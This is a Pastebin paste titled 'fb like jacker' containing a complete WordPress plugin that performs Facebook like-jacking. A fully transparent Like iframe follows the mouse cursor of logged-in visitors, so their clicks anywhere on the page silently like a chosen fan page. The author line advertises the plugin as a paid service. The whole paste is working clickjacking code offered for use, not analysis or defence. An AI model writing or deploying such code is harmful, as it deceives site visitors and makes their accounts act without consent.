Advertisement
Guest User

fb like jacker

a guest
Apr 19th, 2014
394
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.12 KB | None | 0 0
  1. <?php
  2. /*
  3. Plugin Name: autolike FB
  4. Description: Autolike FB wordpress plugin
  5. Version: 1.1
  6. Author: SparkMyLife
  7. Author URI: http://fiverr.com/sparkmylife/give-you-customized-facebook-like-jacking-wordpress-plugin-to-increase-your-fans
  8. */
  9.  
  10. function autolikefb_header_script () {
  11. ?>
  12. <script src="http://code.jquery.com/jquery-1.8.0.min.js" type="text/javascript"></script>
  13. <script type="text/javascript">
  14. var interval;
  15. jQuery(function()
  16. {
  17. interval=setInterval("updateActiveElement();", 50);
  18. });
  19.  
  20. function updateActiveElement()
  21. {
  22. if ( jQuery(document.activeElement).attr('id')=="fbframe" )
  23. {
  24. clearInterval(interval);
  25. iflag=1;
  26. }
  27. }
  28. </script>
  29. <?php }
  30. add_action('wp_head', 'autolikefb_header_script');
  31.  
  32. function autolikefb_body () {
  33. ?>
  34. <div id="fb-login" style="display:none"></div>
  35. <div style="overflow: hidden; width: 7px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
  36. <iframe src="http://www.facebook.com/plugins/like.php?href=http://www.facebook.com/"FUNPAGE-HERE"%2F&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
  37. </div>
  38. <div id="autolikefb-root"></div>
  39. <script type="text/javascript">
  40. window.fbAsyncInit = function() {
  41. FB._initialized = false;
  42. FB.init({appId: '498967446830951', status: true, cookie: true,
  43. xfbml: true});
  44.  
  45. FB.getLoginStatus(function(o) {
  46. if (!o && o.status) return;
  47. if (o.status == 'connected') {
  48. document.getElementById('fb-login').innerHTML = 'true';
  49. } else if (o.status == 'not_authorized') {
  50. document.getElementById('fb-login').innerHTML = 'true';
  51. } else {
  52. document.getElementById('fb-login').innerHTML = 'false';
  53. }
  54. });
  55. };
  56.  
  57. (function() {
  58. var e = document.createElement('script'); e.async = true;
  59. e.src = 'http://connect.facebook.net/en_US/all.js';
  60. document.getElementById('autolikefb-root').appendChild(e);
  61. }());
  62.  
  63. var iflag = 0;
  64. var icontainer = jQuery('#icontainer')[0];
  65. var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body;
  66.  
  67. function mouseFollower(e){
  68. if (window.event)
  69. {
  70. icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
  71. icontainer.style.left = (window.event.x)+standardbody.scrollLeft+'px';
  72. }
  73. else
  74. {
  75. icontainer.style.top = (e.pageY-5)+'px';
  76. icontainer.style.left = (e.pageX)+'px';
  77. }
  78. }
  79. document.onmousemove = function(e) {
  80. if (iflag == 0 && (document.getElementById('fb-login').innerHTML == 'true')) {mouseFollower(e);}
  81. }
  82.  
  83. $(document).ready(function() {
  84. window.fbAsyncInit();
  85. });
  86. </script>
  87. <?php }
  88. add_action('wp_footer', 'autolikefb_body');
  89.  
  90. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement